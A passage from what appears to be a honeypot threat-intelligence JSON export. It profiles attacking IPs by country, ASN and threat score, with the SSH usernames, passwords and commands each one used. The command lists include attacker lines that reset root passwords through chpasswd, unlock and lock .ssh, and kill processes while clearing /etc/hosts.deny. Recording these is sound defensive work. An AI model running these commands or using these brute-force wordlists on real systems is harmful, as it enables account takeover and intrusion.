      "as_org": "HostPapa",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1370,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T05:34:54.087000+00:00",
        "last_seen_30d": "2026-05-02T06:11:43.714000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 912,
        "Suricata": 458
      }
    },
    "43.173.68.216": {
      "attack_count": 492,
      "first_seen": "2026-05-16T13:30:05.761Z",
      "last_seen": "2026-05-19T21:16:55.282Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "frappe",
        "gokul",
        "noc",
        "rahul",
        "trader",
        "wireguard",
        "zero"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qweQWE",
        "$RFV5tgb",
        "0708228AsBs!",
        "0r@cl3",
        "1",
        "1234",
        "1234567890a",
        "123456@Aa",
        "123456Qq!",
        "20192019",
        "2049",
        "Abcd1234.",
        "Server@123",
        "Wb123456",
        "ZXCasd123",
        "Zaq1Xsw2Cde3",
        "Zh123123",
        "alealeale"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:8TvJLzDKTIfg\"|chpasswd|bash",
        "echo \"root:aD8jyNKRD1K1\"|chpasswd|bash",
        "echo \"root:jdfRlfu7mWJZ\"|chpasswd|bash",
        "echo \"root:v6kpu7HVGN7A\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 607,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:30:05.761000+00:00",
        "last_seen_30d": "2026-05-19T21:17:55.658000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 492,
        "Suricata": 115
      }
    },
    "54.38.157.20": {
      "attack_count": 453,
      "first_seen": "2026-05-18T17:47:20.729Z",
      "last_seen": "2026-05-28T08:03:30.696Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "admin1",
        "bender",
        "debian",
        "dev",
        "dmdba",
        "ec2-user",
        "ftpuser",
        "informix",
        "kingbase",
        "mini",
        "minioadmin",
        "morgan",
        "nvidia",
        "odoo17",
        "rahul",
        "tianhao",
        "ts3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "root",
        "0001",
        "121212",
        "123",
        "12345678",
        "123456789",
        "1qaz2wsx!",
        "Aa123456",
        "Ab123456.",
        "Admin123@@",
        "Gx@123456",
        "Li147258",
        "P@ssw0rd123!",
        "Passwd123",
        "Royal@123",
        "Welcome@123",
        "admin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\n0PJeGeHEM9Ja\\n0PJeGeHEM9Ja\\n\"|passwd",
        "echo \"root:2ib7o8zdbooO\"|chpasswd|bash",
        "echo \"root:65H5SJbiQiXr\"|chpasswd|bash",
        "echo \"root:dR6eKjl6SuvD\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\n0PJeGeHEM9Ja\\n0PJeGeHEM9Ja\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 43.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 552,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:47:20.729000+00:00",
        "last_seen_30d": "2026-05-28T08:04:35.395000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 453,
        "Suricata": 99
      }
    },
    "103.56.148.173": {
      "attack_count": 424,
      "first_seen": "2026-05-24T13:51:40.493Z",
      "last_seen": "2026-05-31T22:37:51.512Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "ossuser",
        "aaa",
        "angel",
        "david",
        "develop",
        "lukas",
        "odoo",
        "runner",
        "server",
        "share",
        "student",
        "test",
        "ubuntu",
        "user1",
        "vicente",
        "vlad"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "123",
        "159357asd",
        "@dmin1234",
        "Changeme_123",
        "Root-123",
        "Test123",
        "Welcome@2026!",
        "Xx123456",
        "Zb123456",
        "aaaa",
        "abc123ABC",
        "admin",
        "admin1",
        "ali1234",
        "angel"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Changeme_123\\n67MoZyzTHUwF\\n67MoZyzTHUwF\\n\"|passwd",
        "echo \"ali1234\\nw9WJwNan6mOP\\nw9WJwNan6mOP\\n\"|passwd",
        "echo \"root:jKt9ED9p0DSJ\"|chpasswd|bash",
        "echo \"root:tQakQUpcGypv\"|chpasswd|bash",
        "echo -e \"Changeme_123\\n67MoZyzTHUwF\\n67MoZyzTHUwF\"|passwd|bash",
        "echo -e \"ali1234\\nw9WJwNan6mOP\\nw9WJwNan6mOP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 55688,
      "as_org": "PT. Beon Intermedia",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 514,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:51:40.493000+00:00",
        "last_seen_30d": "2026-05-31T22:38:54.077000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 90
      }
    },
    "45.66.131.134": {
      "attack_count": 380,
      "first_seen": "2026-05-07T15:51:46.790Z",
      "last_seen": "2026-05-19T23:46:42.834Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ec2-user",
        "ftpuser01",
        "git",
        "guest",
        "hadoop",
        "kafka",
        "mysql",
        "nate",
        "pentest",
        "sdtdserver",
        "test",
        "testftp",
        "ts3srv"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "!@!@",
        "12",
        "123",
        "123123",
        "123456",
        "12345qwert",
        "123654",
        "123QWE",
        "1qaz",
        "2077",
        "Aa123456789",
        "Abc123",
        "P@ssw0rd0123",
        "P@ssw0rd1!",
        "Qaz123wsx!@#",
        "dean123",
        "developer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd0123\\ns544yuO5VmQP\\ns544yuO5VmQP\\n\"|passwd",
        "echo \"root:9zwImQDFc4pC\"|chpasswd|bash",
        "echo \"root:tAl8OTuXbrGU\"|chpasswd|bash",
        "echo -e \"P@ssw0rd0123\\ns544yuO5VmQP\\ns544yuO5VmQP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 3258,
      "as_org": "xTom Japan Corporation",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 479,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:51:46.790000+00:00",
        "last_seen_30d": "2026-05-19T23:47:45.449000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 380,
        "Suricata": 99
      }
    },
    "123.169.122.114": {
      "attack_count": 376,
      "first_seen": "2026-05-19T18:07:22.656Z",
      "last_seen": "2026-05-20T17:48:03.147Z",
      "sessions": 188,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 577,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:07:22.656000+00:00",
        "last_seen_30d": "2026-05-20T17:49:09.109000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 201
      }
    },
    "107.152.32.27": {
      "attack_count": 338,
      "first_seen": "2026-05-02T23:26:43.521Z",
      "last_seen": "2026-05-02T23:36:21.111Z",
      "sessions": 169,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 551,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:26:43.521000+00:00",
        "last_seen_30d": "2026-05-02T23:37:21.837000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 338,
        "Suricata": 213
      }
    },
    "88.142.46.185": {
      "attack_count": 288,
      "first_seen": "2026-05-08T01:42:21.574Z",
      "last_seen": "2026-05-08T02:08:20.195Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "345gs5662d34",
        "root",
        "adminvps",
        "customer",
        "dcadmin",
        "deployer",
        "dev",
        "dockeradmin",
        "ftptest",
        "ftpuser",
        "gadmin",
        "guest",
        "mailuser",
        "mysqld",
        "phpmyadmin",
        "testftp3",
        "testi",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11",
        "12",
        "12345",
        "777777777",
        "Change_Me",
        "Password@123",
        "Qwerty12345",
        "admin",
        "adminvps",
        "blabla123x!",
        "danihack000",
        "dcadmin",
        "fedora",
        "ftptesttest",
        "ftpuser!@#",
        "gadmin",
        "mailuser",
        "messenger"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Password@123\\nJgDIjBOvWsSs\\nJgDIjBOvWsSs\\n\"|passwd",
        "echo \"Qwerty12345\\nws8vRluHMg99\\nws8vRluHMg99\\n\"|passwd",
        "echo -e \"Password@123\\nJgDIjBOvWsSs\\nJgDIjBOvWsSs\"|passwd|bash",
        "echo -e \"Qwerty12345\\nws8vRluHMg99\\nws8vRluHMg99\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Issy-les-Moulineaux",
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:42:21.574000+00:00",
        "last_seen_30d": "2026-05-08T02:09:21.922000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 73
      }
    },
    "121.168.139.251": {
      "attack_count": 278,
      "first_seen": "2026-05-20T02:20:28.507Z",
      "last_seen": "2026-05-20T06:16:00.727Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "claude",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "claude",
        "'",
        "0-p0-p0-p",
        "11111111",
        "123456x",
        "1qa2ws#ED$RF",
        "3245gs5662d34",
        "345gs5662d34",
        "55555",
        "7777777",
        "@k0nig@2023",
        "K0nig02018",
        "Linux@123",
        "Pass@word1",
        "QAZ@1231qwe",
        "a111111",
        "admin123456",
        "alessandrini",
        "amiga1200",
        "asd123asd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:bKeK4UAk1HRp\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 378,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:20:28.507000+00:00",
        "last_seen_30d": "2026-05-20T06:17:01.907000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 278,
        "Suricata": 100
      }
    },
    "129.212.184.120": {
      "attack_count": 267,
      "first_seen": "2026-05-24T08:16:33.411Z",
      "last_seen": "2026-05-29T07:40:39.605Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "tunnel",
        "admin",
        "devuser",
        "jules",
        "lch",
        "sebas",
        "shalini",
        "sora",
        "suporte",
        "t",
        "u1",
        "user1",
        "veera",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#Salutar1",
        "123",
        "12345",
        "123456",
        "12QWaszx",
        "Admin123@",
        "Letmein123",
        "Password#123",
        "Root2024",
        "Root@12345",
        "Test123!",
        "calvin",
        "devuserpass",
        "fjbdfdjkdsfs541544",
        "jf@123456",
        "jules",
        "sebas",
        "server2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:PFCoJDKegt7o\"|chpasswd|bash",
        "echo \"tunnel\\nbUYul0xgAlSG\\nbUYul0xgAlSG\\n\"|passwd",
        "echo -e \"tunnel\\nbUYul0xgAlSG\\nbUYul0xgAlSG\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Douglasville",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 39.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T08:16:33.411000+00:00",
        "last_seen_30d": "2026-05-29T07:41:47.013000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 74
      }
    },
    "201.145.149.82": {
      "attack_count": 236,
      "first_seen": "2026-05-17T23:58:13.017Z",
      "last_seen": "2026-05-18T00:25:47.079Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "VPN",
        "max",
        "rafael",
        "seal",
        "steam",
        "test",
        "toor",
        "zhangsong",
        "zhongwen"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123456",
        "12345678",
        "3245gs5662d34",
        "8520",
        "ABCabc123.",
        "ABcd1234",
        "Admin@2019",
        "Affe123",
        "Airtel@123",
        "Hc123456",
        "Nd123456",
        "Root2025@",
        "Test123123",
        "VPN",
        "lalala123",
        "rafael123",
        "seal",
        "steamcmd",
        "toortoor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"rafael123\\nDDBynk8bHg36\\nDDBynk8bHg36\\n\"|passwd",
        "echo \"root:OD9R4jRpQaVj\"|chpasswd|bash",
        "echo -e \"rafael123\\nDDBynk8bHg36\\nDDBynk8bHg36\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuautitl\u00e1n Izcalli",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T23:58:13.017000+00:00",
        "last_seen_30d": "2026-05-18T00:26:55.036000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "181.234.2.36": {
      "attack_count": 218,
      "first_seen": "2026-05-02T10:12:03.231Z",
      "last_seen": "2026-05-02T10:46:31.490Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "administrator",
        "esuser",
        "ftpuser",
        "postgres",
        "ubuntu"
      ],
      "passwords_attempted": [
        "00",
        "123258",
        "1234567",
        "123@Test",
        "1a2b3c!@#",
        "321",
        "3245gs5662d34",
        "345gs5662d34",
        "A11223344",
        "A@123456789",
        "Abcd2025",
        "Avatar",
        "Bo@123456",
        "Ky123456.",
        "P@ssw0rd2024~",
        "Passw0rdPassw0rd",
        "Qwerty01",
        "Redhat#123",
        "Server2025!",
        "Sp123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NIwgXUQWI82W\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:12:03.231000+00:00",
        "last_seen_30d": "2026-05-02T10:47:39.935000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "202.165.15.132": {
      "attack_count": 218,
      "first_seen": "2026-05-10T12:24:02.207Z",
      "last_seen": "2026-05-10T12:59:25.606Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "db2inst",
        "db2inst1",
        "db2inst3",
        "minecraft",
        "nexus",
        "server",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!QAZ2wsx#EDC4rfv",
        "123",
        "1234.asdf",
        "123456",
        "123789",
        "1qa2ws#ED",
        "3245gs5662d34",
        "345gs5662d34",
        "CentOS@123",
        "Qw321",
        "Qwe12345.",
        "Qwer@123456",
        "S0p0rt3",
        "S123456",
        "Xs123456",
        "aaaaaaaaaa",
        "abcABC123456789",
        "abcd4321",
        "aze123",
        "db2inst3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
